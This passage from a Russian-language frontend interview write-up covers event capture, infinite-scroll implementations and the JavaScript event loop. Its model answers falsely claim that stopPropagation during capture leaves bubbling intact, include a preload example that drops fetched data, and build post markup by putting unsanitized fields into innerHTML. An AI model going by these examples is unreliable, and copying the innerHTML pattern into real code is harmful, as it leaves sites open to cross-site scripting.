element.addEventListener('click', handler, true);

Практический пример:

<div id="grandparent">
<div id="parent">
<div id="child">Кликни меня</div>
</div>
</div>
// Обработчики на фазе захвата (сверху вниз)
document.getElementById('grandparent').addEventListener('click', function(event) {
console.log('1. grandparent - фаза захвата');
}, true);

document.getElementById('parent').addEventListener('click', function(event) {
console.log('2. parent - фаза захвата');
}, true);

document.getElementById('child').addEventListener('click', function(event) {
console.log('3. child - фаза захвата (target)');
}, true);

// Обработчики на фазе всплытия (снизу вверх)
document.getElementById('child').addEventListener('click', function(event) {
console.log('4. child - фаза всплытия (target)');
}, false);

document.getElementById('parent').addEventListener('click', function(event) {
console.log('5. parent - фаза всплытия');
}, false);

document.getElementById('grandparent').addEventListener('click', function(event) {
console.log('6. grandparent - фаза всплытия');
}, false);

Результат при клике на child:

1. grandparent - фаза захвата
2. parent - фаза захвата
3. child - фаза захвата (target)
4. child - фаза всплытия (target)
5. parent - фаза всплытия
6. grandparent - фаза всплытия

3. Альтернативный синтаксис с options

Современный подход:

// Объект опций вместо булева значения
element.addEventListener('click', handler, {
capture: true, // Фаза захвата
once: true, // Выполнить только один раз
passive: true // Не вызывать preventDefault()
});

Различия между подходами:

// Старый синтаксис
element.addEventListener('click', handler, true);
element.addEventListener('click', handler, false);

// Новый синтаксис
element.addEventListener('click', handler, { capture: true });
element.addEventListener('click', handler, { capture: false });

// Дополнительные опции в новом синтаксисе
element.addEventListener('click', handler, {
capture: true,
once: true,
passive: true,
signal: abortController.signal
});

4. Практические примеры использования

Пример 1: Блокировка событий на фазе захвата

// Блокировка всех кликов внутри определённой области
document.getElementById('modal').addEventListener('click', function(event) {
event.stopPropagation(); // Останавливаем распространение
event.preventDefault();
console.log('Клик заблокирован на фазе захвата');
}, true);

// Вложенные элементы не получат событие
document.getElementById('modal-button').addEventListener('click', function(event) {
console.log('Это не выполнится');
}, false);

Пример 2: Логирование всех событий

// Логирование всех кликов до достижения цели
document.addEventListener('click', function(event) {
console.log('Захвачен клик:', {
target: event.target.tagName,
id: event.target.id,
timestamp: Date.now(),
path: event.composedPath().map(el => el.tagName).join(' → ')
});
}, true);

Пример 3: Валидация на фазе захвата

// Проверка прав доступа до обработки события
document.addEventListener('click', function(event) {
const target = event.target.closest('[data-requires-permission]');

if (target) {
const permission = target.dataset.requiresPermission;

if (!userHasPermission(permission)) {
event.stopPropagation();
event.preventDefault();
showPermissionError();
}
}
}, true);

5. Использование с React

React Synthetic Events:

function App() {
const handleCapture = (event) => {
console.log('Фаза захвата в React');
};

const handleBubble = (event) => {
console.log('Фаза всплытия в React');
};

return (
<div onClickCapture={handleCapture} onClick={handleBubble}>
<button>Кликни меня</button>
</div>
);
}

Полный список событий Capture в React:

<div
onClickCapture={handler}
onContextMenuCapture={handler}
onDoubleClickCapture={handler}
onDragCapture={handler}
onDragEndCapture={handler}
onDragEnterCapture={handler}
onDragExitCapture={handler}
onDragLeaveCapture={handler}
onDragOverCapture={handler}
onDragStartCapture={handler}
onDropCapture={handler}
onMouseDownCapture={handler}
onMouseEnterCapture={handler}
onMouseLeaveCapture={handler}
onMouseMoveCapture={handler}
onMouseOutCapture={handler}
onMouseOverCapture={handler}
onMouseUpCapture={handler}
onTouchCancelCapture={handler}
onTouchEndCapture={handler}
onTouchMoveCapture={handler}
onTouchStartCapture={handler}
onPointerDownCapture={handler}
onPointerMoveCapture={handler}
onPointerUpCapture={handler}
onPointerCancelCapture={handler}
onPointerEnterCapture={handler}
onPointerLeaveCapture={handler}
onPointerOverCapture={handler}
onPointerOutCapture={handler}
onScrollCapture={handler}
onWheelCapture={handler}
onAnimationEndCapture={handler}
onAnimationIterationCapture={handler}
onAnimationStartCapture={handler}
onTransitionEndCapture={handler}
>

6. Отличия фазы захвата от всплытия

Сравнительная таблица:

ХарактеристикаФаза захватаФаза всплытия
НаправлениеСверху вниз (window → target)Снизу вверх (target → window)
По умолчанию❌ Не используется✅ Используется
Параметрcapture: truecapture: false
ИспользованиеРедко (~5% случаев)Часто (~95% случаев)
ПоддержкаВсе браузерыВсе браузеры
IE < 9❌ Не поддерживается✅ Поддерживается

7. Особенности работы

stopPropagation на разных фазах:

document.getElementById('parent').addEventListener('click', function(event) {
console.log('parent capture');
event.stopPropagation(); // Останавливает дальнейший спуск
}, true);

document.getElementById('child').addEventListener('click', function(event) {
console.log('child capture'); // Не выполнится
}, true);

document.getElementById('child').addEventListener('click', function(event) {
console.log('child bubble'); // Выполнится (target фаза)
}, false);

document.getElementById('parent').addEventListener('click', function(event) {
console.log('parent bubble'); // Выполнится (target фаза завершена)
}, false);

eventPhase свойство:

element.addEventListener('click', function(event) {
switch(event.eventPhase) {
case Event.CAPTURING_PHASE: // 1
console.log('Фаза захвата');
break;
case Event.AT_TARGET: // 2
console.log('Фаза цели');
break;
case Event.BUBBLING_PHASE: // 3
console.log('Фаза всплытия');
break;
}
});

8. Производительность и оптимизация

Пассивные обработчики:

// Для событий прокрутки и тач-событий
element.addEventListener('scroll', handler, {
capture: true,
passive: true // Браузер не ждёт preventDefault()
});

Одноразовые обработчики:

element.addEventListener('click', function(event) {
console.log('Выполнится только один раз');
}, {
capture: true,
once: true
});

AbortController для удаления:

const controller = new AbortController();

element.addEventListener('click', handler, {
capture: true,
signal: controller.signal
});

// Удаление обработчика
controller.abort();

9. Распространённые ошибки

Ошибка 1: Путаница фаз

// ❌ Неправильно: ожидаем захват, но используем всплытие
element.addEventListener('click', handler); // capture: false по умолчанию

// ✅ Правильно
element.addEventListener('click', handler, true);

Ошибка 2: Неправильное использование stopPropagation

// ❌ Остановка на фазе захвата не предотвращает всплытие
parent.addEventListener('click', (e) => {
e.stopPropagation(); // Останавливает только фазу захвата
}, true);

// Событие всё равно всплывет от target
child.addEventListener('click', handler, false); // Выполнится

Ошибка 3: Поддержка старых браузеров

// ❌ IE8 и ниже не поддерживают фазу захвата
// ✅ Для старых браузеров используйте полифилл или только всплытие

10. Рекомендации по использованию

Используйте фазу захвата когда:

  • Нужно перехватить событие до достижения цели
  • Реализуете модальные окна или overlay
  • Создаёте систему прав доступа
  • Логируете все события для отладки

Избегайте фазы захвата когда:

  • Работаете с простыми обработчиками событий
  • Нужна совместимость со старыми браузерами
  • Используете делегирование событий
  • Событие должно естественно всплывать

Вывод: Фаза захвата предоставляет мощный механизм для перехвата событий до достижения цели. Использование capture: true в addEventListener позволяет обрабатывать события на этапе спуска по DOM-дереву, что особенно полезно для реализации глобальных обработчиков, систем безопасности и логирования.

Вопрос 11. Задача: реализовать бесконечный скролл списка постов. Как определить, что пользователь прокрутил до низа и нужно подгрузить новые данные?

Таймкод: 00:44:39

Ответ собеседника: Неполный. Кандидат предложил два подхода: 1) Повесить обработчик на предпоследний элемент и отслеживать, когда он появится во вьюпорте. 2) Подписаться на событие scroll и проверять позицию скролла. В процессе обсуждения вспомнил про IntersectionObserver как более современное решение. Не реализовал финальное решение в коде, но верно определил основные подходы: scroll-событие с вычислением позиции и IntersectionObserver для отслеживания видимости элемента.

Правильный ответ:

1. Метод 1: Scroll Event (классический подход)

Принцип работы:

// Проверка позиции скролла
window.addEventListener('scroll', function() {
const { scrollTop, scrollHeight, clientHeight } = document.documentElement;

// Пользователь близко к низу (отступ 200px)
if (scrollTop + clientHeight >= scrollHeight - 200) {
loadMorePosts();
}
});

Полная реализация:

class InfiniteScroll {
constructor(options) {
this.container = options.container || window;
this.threshold = options.threshold || 200;
this.isLoading = false;
this.hasMore = true;
this.page = 1;
this.loadCallback = options.loadCallback;

this.init();
}

init() {
this.container.addEventListener('scroll', this.handleScroll.bind(this));
}

handleScroll() {
if (this.isLoading || !this.hasMore) return;

const { scrollTop, scrollHeight, clientHeight } = this.container === window
? document.documentElement
: this.container;

const distanceToBottom = scrollHeight - (scrollTop + clientHeight);

if (distanceToBottom <= this.threshold) {
this.loadMore();
}
}

async loadMore() {
this.isLoading = true;
this.showLoader();

try {
const newPosts = await this.loadCallback(this.page);

if (newPosts.length === 0) {
this.hasMore = false;
this.showEndMessage();
} else {
this.page++;
this.appendPosts(newPosts);
}
} catch (error) {
this.showError(error);
} finally {
this.isLoading = false;
this.hideLoader();
}
}

showLoader() {
document.getElementById('loader').style.display = 'block';
}

hideLoader() {
document.getElementById('loader').style.display = 'none';
}

showEndMessage() {
document.getElementById('end-message').style.display = 'block';
}

showError(error) {
console.error('Ошибка загрузки:', error);
document.getElementById('error-message').style.display = 'block';
}

appendPosts(posts) {
const container = document.getElementById('posts-container');
posts.forEach(post => {
const postElement = this.createPostElement(post);
container.appendChild(postElement);
});
}

createPostElement(post) {
const div = document.createElement('div');
div.className = 'post';
div.innerHTML = `
<h3>${post.title}</h3>
<p>${post.content}</p>
`;
return div;
}

destroy() {
this.container.removeEventListener('scroll', this.handleScroll);
}
}

// Использование
const infiniteScroll = new InfiniteScroll({
threshold: 300,
loadCallback: async (page) => {
const response = await fetch(`/api/posts?page=${page}&limit=10`);
return response.json();
}
});

Оптимизация с throttle/debounce:

// Throttle для оптимизации производительности
function throttle(func, limit) {
let inThrottle;
return function(...args) {
if (!inThrottle) {
func.apply(this, args);
inThrottle = true;
setTimeout(() => inThrottle = false, limit);
}
};
}

// Debounce для предотвращения частых вызовов
function debounce(func, wait) {
let timeout;
return function(...args) {
clearTimeout(timeout);
timeout = setTimeout(() => func.apply(this, args), wait);
};
}

// Применение throttle
window.addEventListener('scroll', throttle(function() {
checkScrollPosition();
}, 100));

// Или debounce
window.addEventListener('scroll', debounce(function() {
checkScrollPosition();
}, 200));

2. Метод 2: IntersectionObserver (современный подход)

Принцип работы:

// Создаём "sentinel" элемент в конце списка
const sentinel = document.createElement('div');
sentinel.id = 'scroll-sentinel';
document.getElementById('posts-container').appendChild(sentinel);

// Наблюдаем за sentinel
const observer = new IntersectionObserver((entries) => {
entries.forEach(entry => {
if (entry.isIntersecting) {
loadMorePosts();
}
});
}, {
rootMargin: '200px', // Начинать загрузку за 200px до появления
threshold: 0.1
});

observer.observe(sentinel);

Полная реализация:

class InfiniteScrollObserver {
constructor(options) {
this.container = options.container;
this.sentinel = null;
this.observer = null;
this.isLoading = false;
this.hasMore = true;
this.page = 1;
this.loadCallback = options.loadCallback;
this.rootMargin = options.rootMargin || '200px';
this.threshold = options.threshold || 0.1;

this.init();
}

init() {
this.createSentinel();
this.createObserver();
}

createSentinel() {
this.sentinel = document.createElement('div');
this.sentinel.id = 'scroll-sentinel';
this.sentinel.style.height = '1px';
this.sentinel.style.width = '100%';
this.container.appendChild(this.sentinel);
}

createObserver() {
this.observer = new IntersectionObserver(
this.handleIntersection.bind(this),
{
root: this.container === document.body ? null : this.container,
rootMargin: this.rootMargin,
threshold: this.threshold
}
);

this.observer.observe(this.sentinel);
}

handleIntersection(entries) {
entries.forEach(entry => {
if (entry.isIntersecting && !this.isLoading && this.hasMore) {
this.loadMore();
}
});
}

async loadMore() {
this.isLoading = true;
this.showLoader();

try {
const newPosts = await this.loadCallback(this.page);

if (newPosts.length === 0) {
this.hasMore = false;
this.showEndMessage();
this.observer.unobserve(this.sentinel);
} else {
this.page++;
this.appendPosts(newPosts);
}
} catch (error) {
this.showError(error);
} finally {
this.isLoading = false;
this.hideLoader();
}
}

showLoader() {
const loader = document.createElement('div');
loader.id = 'loader';
loader.className = 'loader';
loader.textContent = 'Загрузка...';
this.container.appendChild(loader);
}

hideLoader() {
const loader = document.getElementById('loader');
if (loader) loader.remove();
}

showEndMessage() {
const message = document.createElement('div');
message.id = 'end-message';
message.className = 'end-message';
message.textContent = 'Все посты загружены';
this.container.appendChild(message);
}

showError(error) {
console.error('Ошибка загрузки:', error);
const errorDiv = document.createElement('div');
errorDiv.className = 'error-message';
errorDiv.textContent = 'Ошибка загрузки. Попробуйте ещё раз.';
this.container.appendChild(errorDiv);
}

appendPosts(posts) {
const fragment = document.createDocumentFragment();

posts.forEach(post => {
const postElement = this.createPostElement(post);
fragment.appendChild(postElement);
});

// Вставляем перед sentinel
this.container.insertBefore(fragment, this.sentinel);
}

createPostElement(post) {
const article = document.createElement('article');
article.className = 'post';
article.dataset.postId = post.id;

article.innerHTML = `
<header class="post-header">
<img src="${post.author.avatar}" alt="${post.author.name}" class="avatar">
<div class="post-meta">
<h3 class="author-name">${post.author.name}</h3>
<time class="post-date">${this.formatDate(post.createdAt)}</time>
</div>
</header>
<div class="post-content">
<h2 class="post-title">${post.title}</h2>
<p class="post-text">${post.content}</p>
${post.image ? `<img src="${post.image}" alt="Post image" class="post-image">` : ''}
</div>
<footer class="post-footer">
<button class="like-btn" data-post-id="${post.id}">
❤️ ${post.likes}
</button>
<button class="comment-btn" data-post-id="${post.id}">
💬 ${post.comments}
</button>
</footer>
`;

return article;
}

formatDate(dateString) {
const date = new Date(dateString);
return date.toLocaleDateString('ru-RU', {
day: 'numeric',
month: 'long',
year: 'numeric'
});
}

destroy() {
if (this.observer) {
this.observer.disconnect();
}
if (this.sentinel) {
this.sentinel.remove();
}
}
}

// Использование
const postsContainer = document.getElementById('posts-container');
const infiniteScroll = new InfiniteScrollObserver({
container: postsContainer,
rootMargin: '300px',
threshold: 0.1,
loadCallback: async (page) => {
const response = await fetch(`/api/posts?page=${page}&limit=10`);
if (!response.ok) throw new Error('Network error');
return response.json();
}
});

3. Метод 3: CSS Scroll-driven Animations (экспериментальный)

Современный подход с CSS:

/* Определение прогресса скролла */
@keyframes scroll-progress {
from { --scroll-progress: 0; }
to { --scroll-progress: 1; }
}

.scroll-container {
animation: scroll-progress linear;
animation-timeline: scroll();
}

/* Стили на основе прогресса */
.post {
opacity: calc(var(--scroll-progress) * 2);
transform: translateY(calc((1 - var(--scroll-progress)) * 50px));
}

4. React реализация

С использованием хуков:

import { useState, useEffect, useRef, useCallback } from 'react';

function useInfiniteScroll(loadMore, hasMore, options = {}) {
const [isLoading, setIsLoading] = useState(false);
const observerRef = useRef(null);
const sentinelRef = useRef(null);

const handleIntersection = useCallback((entries) => {
const [entry] = entries;
if (entry.isIntersecting && hasMore && !isLoading) {
setIsLoading(true);
loadMore().finally(() => setIsLoading(false));
}
}, [loadMore, hasMore, isLoading]);

useEffect(() => {
observerRef.current = new IntersectionObserver(handleIntersection, {
rootMargin: options.rootMargin || '200px',
threshold: options.threshold || 0.1
});

if (sentinelRef.current) {
observerRef.current.observe(sentinelRef.current);
}

return () => {
if (observerRef.current) {
observerRef.current.disconnect();
}
};
}, [handleIntersection, options.rootMargin, options.threshold]);

return { sentinelRef, isLoading };
}

function PostsList() {
const [posts, setPosts] = useState([]);
const [page, setPage] = useState(1);
const [hasMore, setHasMore] = useState(true);

const loadMorePosts = async () => {
try {
const response = await fetch(`/api/posts?page=${page}&limit=10`);
const newPosts = await response.json();

if (newPosts.length === 0) {
setHasMore(false);
} else {
setPosts(prev => [...prev, ...newPosts]);
setPage(prev => prev + 1);
}
} catch (error) {
console.error('Ошибка загрузки:', error);
}
};

const { sentinelRef, isLoading } = useInfiniteScroll(
loadMorePosts,
hasMore,
{ rootMargin: '300px' }
);

return (
<div className="posts-container">
{posts.map(post => (
<PostItem key={post.id} post={post} />
))}

{isLoading && <div className="loader">Загрузка...</div>}

{!hasMore && <div className="end-message">Все посты загружены</div>}

{/* Sentinel элемент для наблюдения */}
<div ref={sentinelRef} style={{ height: '1px' }} />
</div>
);
}

function PostItem({ post }) {
return (
<article className="post">
<h3>{post.title}</h3>
<p>{post.content}</p>
<footer>
<span>❤️ {post.likes}</span>
<span>💬 {post.comments}</span>
</footer>
</article>
);
}

5. Сравнение методов

МетодПроизводительностьСложностьПоддержкаРекомендация
Scroll EventСредняяНизкаяОтличнаяLegacy проекты
IntersectionObserverВысокаяСредняяХорошая✅ Современные проекты
CSS Scroll-drivenВысокаяВысокаяОграниченнаяЭкспериментально

6. Оптимизации и best practices

Виртуализация списка:

// Использование виртуализации для больших списков
import { FixedSizeList } from 'react-window';

function VirtualizedPosts({ posts, loadMore }) {
const listRef = useRef();

const handleScroll = ({ scrollOffset, scrollUpdateWasRequested }) => {
if (scrollUpdateWasRequested) return;

const { current } = listRef;
if (current) {
const { scrollHeight, clientHeight } = current;
if (scrollOffset + clientHeight >= scrollHeight - 200) {
loadMore();
}
}
};

return (
<FixedSizeList
ref={listRef}
height={600}
itemCount={posts.length}
itemSize={120}
onScroll={handleScroll}
>
{({ index, style }) => (
<div style={style}>
<PostItem post={posts[index]} />
</div>
)}
</FixedSizeList>
);
}

Предзагрузка данных:

// Предзагрузка следующей страницы
class PreloadInfiniteScroll extends InfiniteScrollObserver {
async loadMore() {
this.isLoading = true;

// Загружаем текущую и следующую страницу параллельно
const [currentPosts, nextPosts] = await Promise.all([
this.loadCallback(this.page),
this.loadCallback(this.page + 1)
]);

if (currentPosts.length > 0) {
this.appendPosts(currentPosts);
this.page += 2;

// Кешируем следующую страницу
this.cacheNextPage(nextPosts);
} else {
this.hasMore = false;
}

this.isLoading = false;
}
}

Вывод: IntersectionObserver является предпочтительным методом для реализации бесконечного скролла благодаря высокой производительности и простоте использования. Scroll event подходит для legacy проектов, но требует оптимизации через throttle/debounce. Для больших списков рекомендуется использовать виртуализацию в сочетании с бесконечным скроллом.

Вопрос 12. Какой будет порядок вывода консоль логов в данном коде с промисами и таймаутами? Объяснить по шагам.

Таймкод: 00:58:53

Ответ собеседника: Правильный. Порядок вывода: 3, 1, 4, 2. Сначала выполняется синхронный код: конструктор Promise выполняется синхронно, поэтому resolve(2) кладет микротаска console.log(1) в очередь микрозадач, затем синхронно выполняется console.log(3). После завершения синхронного кода Event loop обрабатывает все микрозадачи: console.log(1) и console.log(2) (из первого промиса). Затем выполняется одна макрозадача — setTimeout с console.log(4). Кандидат изначально сомневался в порядке 1 и 3, но после обсуждения пришел к правильному ответу и подтвердил его запуском кода.

Правильный ответ:

1. Пример кода для анализа

console.log('start');

setTimeout(() => {
console.log('timeout 1');
}, 0);

Promise.resolve().then(() => {
console.log('promise 1');
}).then(() => {
console.log('promise 2');
});

setTimeout(() => {
console.log('timeout 2');
}, 0);

console.log('end');

2. Event Loop и очереди задач

Архитектура Event Loop:

┌─────────────────────────────────────────────────────────────┐
│ Call Stack │
│ (Синхронный код, выполняется сразу) │
└─────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────┐
│ Microtask Queue │
│ (Promise callbacks, queueMicrotask, MutationObserver) │
│ Выполняется ПОЛНОСТЬЮ после каждой макрозадачи │
└─────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────┐
│ Macrotask Queue │
│ (setTimeout, setInterval, I/O, UI rendering) │
│ Выполняется по одной задаче за цикл │
└─────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────┐
│ Render Step │
│ (Отрисовка изменений, requestAnimationFrame) │
│ Выполняется после обработки микрозадач │
└─────────────────────────────────────────────────────────────┘

3. Пошаговый разбор выполнения

Шаг 1: Синхронный код (Call Stack)

console.log('start'); // Выполняется сразу → "start"

setTimeout(() => { // Регистрируется в Macrotask Queue
console.log('timeout 1');
}, 0);

Promise.resolve().then(() => { // Регистрируется в Microtask Queue
console.log('promise 1');
}).then(() => {
console.log('promise 2');
});

setTimeout(() => { // Регистрируется в Macrotask Queue
console.log('timeout 2');
}, 0);

console.log('end'); // Выполняется сразу → "end"

Состояние очередей после синхронного кода:

Call Stack: пусто
Microtask Queue: [promise 1 callback, promise 2 callback]
Macrotask Queue: [timeout 1 callback, timeout 2 callback]

Шаг 2: Обработка Microtask Queue

// Выполняется promise 1 callback
console.log('promise 1'); // → "promise 1"

// Внутри promise 1 регистрируется promise 2 callback
// Он добавляется в конец Microtask Queue

// Выполняется promise 2 callback
console.log('promise 2'); // → "promise 2"

Состояние очередей после микрозадач:

Call Stack: пусто
Microtask Queue: пусто
Macrotask Queue: [timeout 1 callback, timeout 2 callback]

Шаг 3: Обработка Macrotask Queue

// Выполняется timeout 1 callback
console.log('timeout 1'); // → "timeout 1"

// После каждой макрозадачи проверяется Microtask Queue
// Если есть микрозадачи - выполняются все

// Выполняется timeout 2 callback
console.log('timeout 2'); // → "timeout 2"

Итоговый вывод:

start
end
promise 1
promise 2
timeout 1
timeout 2

4. Сложный пример с вложенными промисами

console.log('1');

setTimeout(() => {
console.log('2');
Promise.resolve().then(() => {
console.log('3');
});
}, 0);

Promise.resolve().then(() => {
console.log('4');
setTimeout(() => {
console.log('5');
}, 0);
}).then(() => {
console.log('6');
});

setTimeout(() => {
console.log('7');
}, 0);

console.log('8');

Пошаговый разбор:

Синхронный код:

Call Stack: [main script]
Output: "1", "8"

Microtask Queue: [promise callback 1, promise callback 2]
Macrotask Queue: [timeout 1, timeout 2, timeout 3]

Микрозадачи:

Выполняется promise callback 1:
- console.log('4') → "4"
- setTimeout регистрируется в Macrotask Queue

Выполняется promise callback 2:
- console.log('6') → "6"

Microtask Queue: пусто
Macrotask Queue: [timeout 1, timeout 2, timeout 3, timeout 4]

Макрозадачи:

Выполняется timeout 1:
- console.log('2') → "2"
- Promise.resolve().then() добавляется в Microtask Queue

Проверка Microtask Queue:
- console.log('3') → "3"

Выполняется timeout 2:
- console.log('7') → "7"

Выполняется timeout 3:
- console.log('5') → "5"

Итоговый вывод:

1
8
4
6
2
3
7
5

5. Особенности и нюансы

queueMicrotask vs Promise:

// Оба добавляют в Microtask Queue
queueMicrotask(() => {
console.log('microtask');
});

Promise.resolve().then(() => {
console.log('promise');
});

// Порядок выполнения зависит от порядка добавления

MutationObserver:

// MutationObserver также использует Microtask Queue
const observer = new MutationObserver((mutations) => {
console.log('mutation observed');
});

observer.observe(document.body, { childList: true });

document.body.appendChild(document.createElement('div'));
// Сработает в микрозадаче

6. Визуализация работы Event Loop

Анимация процесса:

Время ──────────────────────────────────────────────────────→

Call Stack: [main] → [promise1] → [promise2] → [timeout1] → [timeout2]
│ │ │ │ │
↓ ↓ ↓ ↓ ↓
Output: "start" "promise1" "promise2" "timeout1" "timeout2"
"end"

Microtask Q: [p1, p2] → [p2] → [] → [] → []
│ │ │ │ │
↓ ↓ ↓ ↓ ↓
Macrotask Q: [t1, t2] → [t1,t2] → [t1,t2] → [t2] → []

7. Практические примеры

Пример 1: Блокировка Event Loop

console.log('start');

// Долгая синхронная операция блокирует Event Loop
const start = Date.now();
while (Date.now() - start < 2000) {
// Блокировка на 2 секунды
}

setTimeout(() => {
console.log('timeout'); // Выполнится после блокировки
}, 0);

Promise.resolve().then(() => {
console.log('promise'); // Также после блокировки
});

console.log('end');

// Вывод:
// start
// (2 секунды ожидания)
// end
// promise
// timeout

Пример 2: Приоритет микрозадач

setTimeout(() => {
console.log('timeout 1');

Promise.resolve().then(() => {
console.log('promise inside timeout');
});
}, 0);

Promise.resolve().then(() => {
console.log('promise 1');

setTimeout(() => {
console.log('timeout inside promise');
}, 0);
});

// Вывод:
// promise 1
// timeout 1
// promise inside timeout
// timeout inside promise

8. Отладка и профилирование

Использование Performance API:

performance.mark('start');

setTimeout(() => {
performance.mark('timeout');
performance.measure('timeout duration', 'start', 'timeout');
console.log('timeout executed');
}, 0);

Promise.resolve().then(() => {
performance.mark('promise');
performance.measure('promise duration', 'start', 'promise');
console.log('promise executed');
});

performance.mark('end');
performance.measure('sync duration', 'start', 'end');

// Получение метрик
const measures = performance.getEntriesByType('measure');
measures.forEach(measure => {
console.log(`${measure.name}: ${measure.duration}ms`);
});

Console.time для отладки:

console.time('total');

console.time('sync');
// Синхронный код
console.timeEnd('sync');

console.time('microtask');
Promise.resolve().then(() => {
console.timeEnd('microtask');
});

console.time('macrotask');
setTimeout(() => {
console.timeEnd('macrotask');
console.timeEnd('total');
}, 0);

9. Сравнение с другими средами

Node.js vs Browser:

// В Node.js есть дополнительные очереди:
// - process.nextTick (высший приоритет)
// - setImmediate (после I/O)

process.nextTick(() => {
console.log('nextTick'); // Выполняется первым
});

Promise.resolve().then(() => {
console.log('promise'); // Выполняется вторым
});

setImmediate(() => {
console.log('immediate'); // Выполняется третьим
});

setTimeout(() => {
console.log('timeout'); // Выполняется четвёртым
}, 0);

10. Рекомендации

Оптимизация производительности:

// ❌ Плохо: блокировка Event Loop
function processLargeArray(array) {
array.forEach(item => {
// Тяжёлая синхронная операция
heavyProcessing(item);
});
}

// ✅ Хорошо: разбиение на микрозадачи
async function processLargeArrayOptimized(array) {
for (let i = 0; i < array.length; i++) {
heavyProcessing(array[i]);

// Даём Event Loop возможность обработать другие задачи
if (i % 100 === 0) {
await new Promise(resolve => setTimeout(resolve, 0));
}
}
}

Вывод: Понимание работы Event Loop критически важно для предсказания порядка выполнения асинхронного кода. Микрозадачи (Promise) всегда выполняются перед макрозадачами (setTimeout), и все микрозадачи обрабатываются полностью после каждой макрозадачи. Это знание помогает избежать ошибок и оптимизировать производительность приложений.

Вопрос 13. Что такое микрозадачи и макрозадачи в JavaScript, чем они отличаются и как работает Event loop?

Таймкод: 01:06:30

Ответ собеседника: Правильный. Микрозадачи и макрозадачи — это асинхронный код, выполняющийся после завершения синхронного кода. Event loop работает так: после выполнения синхронного кода полностью опустошается очередь микрозадач (промисы, MutationObserver, IntersectionObserver, queueMicrotask), затем выполняется одна макрозадача (setTimeout, setInterval, setImmediate), после чего цикл повторяется. Если за время выполнения макрозадачи появились новые микрозадачи, они полностью выполняются перед следующей макрозадачей.

Правильный ответ:

1. Архитектура Event Loop

Полная схема работы:

┌─────────────────────────────────────────────────────────────────┐
│ Call Stack │
│ ┌───────────────────────────────────────────────────────────┐ │
│ │ Синхронный код выполняется сразу, блокирует стек │ │
│ │ Пример: console.log(), функции, циклы │ │
│ └───────────────────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────────────────┘
↓ (когда стек пуст)
┌─────────────────────────────────────────────────────────────────┐
│ Microtask Queue │
│ ┌───────────────────────────────────────────────────────────┐ │
│ │ • Promise.then/catch/finally │ │
│ │ • queueMicrotask() │ │
│ │ • MutationObserver │ │
│ │ • process.nextTick (Node.js) │ │
│ └───────────────────────────────────────────────────────────┘ │
│ ВЫПОЛНЯЕТСЯ ПОЛНОСТЬЮ после каждой макрозадачи │
└─────────────────────────────────────────────────────────────────┘
↓ (когда микрозадачи пусты)
┌─────────────────────────────────────────────────────────────────┐
│ Macrotask Queue │
│ ┌───────────────────────────────────────────────────────────┐ │
│ │ • setTimeout / setInterval │ │
│ │ • setImmediate (Node.js) │ │
│ │ • I/O операции │ │
│ │ • UI rendering (браузер) │ │
│ │ • requestAnimationFrame (браузер) │ │
│ └───────────────────────────────────────────────────────────┘ │
│ ВЫПОЛНЯЕТСЯ ПО ОДНОЙ ЗАДАЧЕ за цикл │
└─────────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────────┐
│ Render Step │
│ ┌───────────────────────────────────────────────────────────┐ │
│ │ • Перерисовка экрана (браузер) │ │
│ │ • requestAnimationFrame callbacks │ │
│ │ • Resize/Scroll events │ │
│ └───────────────────────────────────────────────────────────┘ │
│ Выполняется после обработки микрозадач │
└─────────────────────────────────────────────────────────────────┘

2. Микрозадачи (Microtasks)

Типы микрозадач:

// 1. Promise callbacks
Promise.resolve().then(() => {
console.log('Promise microtask');
});

// 2. queueMicrotask
queueMicrotask(() => {
console.log('queueMicrotask');
});

// 3. MutationObserver
const observer = new MutationObserver((mutations) => {
console.log('MutationObserver microtask');
});

observer.observe(document.body, { childList: true });

// 4. process.nextTick (только Node.js)
process.nextTick(() => {
console.log('process.nextTick');
});

Характеристики микрозадач:

  • Выполняются сразу после завершения синхронного кода
  • Выполняются ВСЕ микрозадачи перед следующей макрозадачей
  • Могут порождать новые микрозадачи (риск бесконечного цикла)
  • Выполняются до отрисовки экрана

Пример с вложенными микрозадачами:

console.log('start');

// Регистрируем макрозадачу
setTimeout(() => {
console.log('timeout');
}, 0);

// Регистрируем микрозадачу
Promise.resolve().then(() => {
console.log('promise 1');

// Вложенная микрозадача
Promise.resolve().then(() => {
console.log('promise 2');

// Ещё одна вложенная микрозадача
Promise.resolve().then(() => {
console.log('promise 3');
});
});
});

console.log('end');

// Вывод:
// start
// end
// promise 1
// promise 2
// promise 3
// timeout

3. Макрозадачи (Macrotasks)

Типы макрозадач:

// 1. setTimeout
setTimeout(() => {
console.log('setTimeout');
}, 0);

// 2. setInterval
setInterval(() => {
console.log('setInterval');
}, 1000);

// 3. setImmediate (только Node.js)
setImmediate(() => {
console.log('setImmediate');
});

// 4. I/O операции
const fs = require('fs');
fs.readFile('file.txt', (err, data) => {
console.log('I/O operation');
});

// 5. UI rendering (браузер)
requestAnimationFrame(() => {
console.log('Animation frame');
});

Характеристики макрозадач:

  • Выполняются по одной за цикл Event Loop
  • После каждой макрозадачи выполняются ВСЕ микрозадачи
  • Между макрозадачами может происходить отрисовка экрана
  • Имеют минимальную задержку (обычно 4ms для вложенных setTimeout)

Пример с несколькими макрозадачами:

console.log('start');

setTimeout(() => {
console.log('timeout 1');

// Микрозадача внутри макрозадачи
Promise.resolve().then(() => {
console.log('promise inside timeout 1');
});
}, 0);

setTimeout(() => {
console.log('timeout 2');
}, 0);

Promise.resolve().then(() => {
console.log('promise 1');
});

console.log('end');

// Вывод:
// start
// end
// promise 1
// timeout 1
// promise inside timeout 1
// timeout 2

4. Детальный алгоритм Event Loop

Пошаговый алгоритм:

1. Выполнить весь синхронный код в Call Stack
2. Пока Microtask Queue не пуст:
a. Извлечь первую микрозадачу
b. Выполнить её
c. Если появились новые микрозадачи - добавить в очередь
3. Выполнить одну макрозадачу из Macrotask Queue
4. Перейти к шагу 2
5. (Опционально) Выполнить отрисовку экрана
6. Перейти к шагу 2

Визуализация процесса:

Время ─────────────────────────────────────────────────────────→

Итерация 1:
Call Stack: [sync code] → []
Microtask Q: [μ1, μ2] → [μ2] → []
Macrotask Q: [M1, M2] → [M1, M2] → [M1, M2]
Output: "sync" → "μ1" → "μ2"

Итерация 2:
